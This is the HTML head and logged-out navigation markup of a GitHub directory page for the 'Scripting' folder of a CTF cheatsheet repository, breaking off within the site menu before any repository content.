src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF_Cheatsheet/Scripting at master · prince-7/CTF_Cheatsheet · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="9975:7C06:1470985:14F4E8F:64121F72" data-pjax-transient="true"/><meta name="html-safe-nonce" content="6b09e8b028bb778571172e3cd75d246cb9e7850cffab7f5a9f247f0caa1a7c81" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5OTc1OjdDMDY6MTQ3MDk4NToxNEY0RThGOjY0MTIxRjcyIiwidmlzaXRvcl9pZCI6IjUzMjU3NzkxNzk3OTg2NjcxMjIiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="ace200f9e804b2bb759e845b1379c2169d69ced638c8c4b6deb7361a06a81f24" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:227519400" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="This Repo Contains Write-UPs for all Tasks . Contribute to prince-7/CTF_Cheatsheet development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/4ba4c4073e8655ea999d95a8d0e2a69ade62e10ca728f3e56f2b5af6d5df242f/prince-7/CTF_Cheatsheet" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF_Cheatsheet/Scripting at master · prince-7/CTF_Cheatsheet" /><meta name="twitter:description" content="This Repo Contains Write-UPs for all Tasks . Contribute to prince-7/CTF_Cheatsheet development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/4ba4c4073e8655ea999d95a8d0e2a69ade62e10ca728f3e56f2b5af6d5df242f/prince-7/CTF_Cheatsheet" /><meta property="og:image:alt" content="This Repo Contains Write-UPs for all Tasks . Contribute to prince-7/CTF_Cheatsheet development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF_Cheatsheet/Scripting at master · prince-7/CTF_Cheatsheet" /><meta property="og:url" content="https://github.com/prince-7/CTF_Cheatsheet" /><meta property="og:description" content="This Repo Contains Write-UPs for all Tasks . Contribute to prince-7/CTF_Cheatsheet development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/prince-7/CTF_Cheatsheet git https://github.com/prince-7/CTF_Cheatsheet.git">
<meta name="octolytics-dimension-user_id" content="53997924" /><meta name="octolytics-dimension-user_login" content="prince-7" /><meta name="octolytics-dimension-repository_id" content="227519400" /><meta name="octolytics-dimension-repository_nwo" content="prince-7/CTF_Cheatsheet" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="227519400" /><meta name="octolytics-dimension-repository_network_root_nwo" content="prince-7/CTF_Cheatsheet" />
<link rel="canonical" href="https://github.com/prince-7/CTF_Cheatsheet/tree/master/Scripting" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
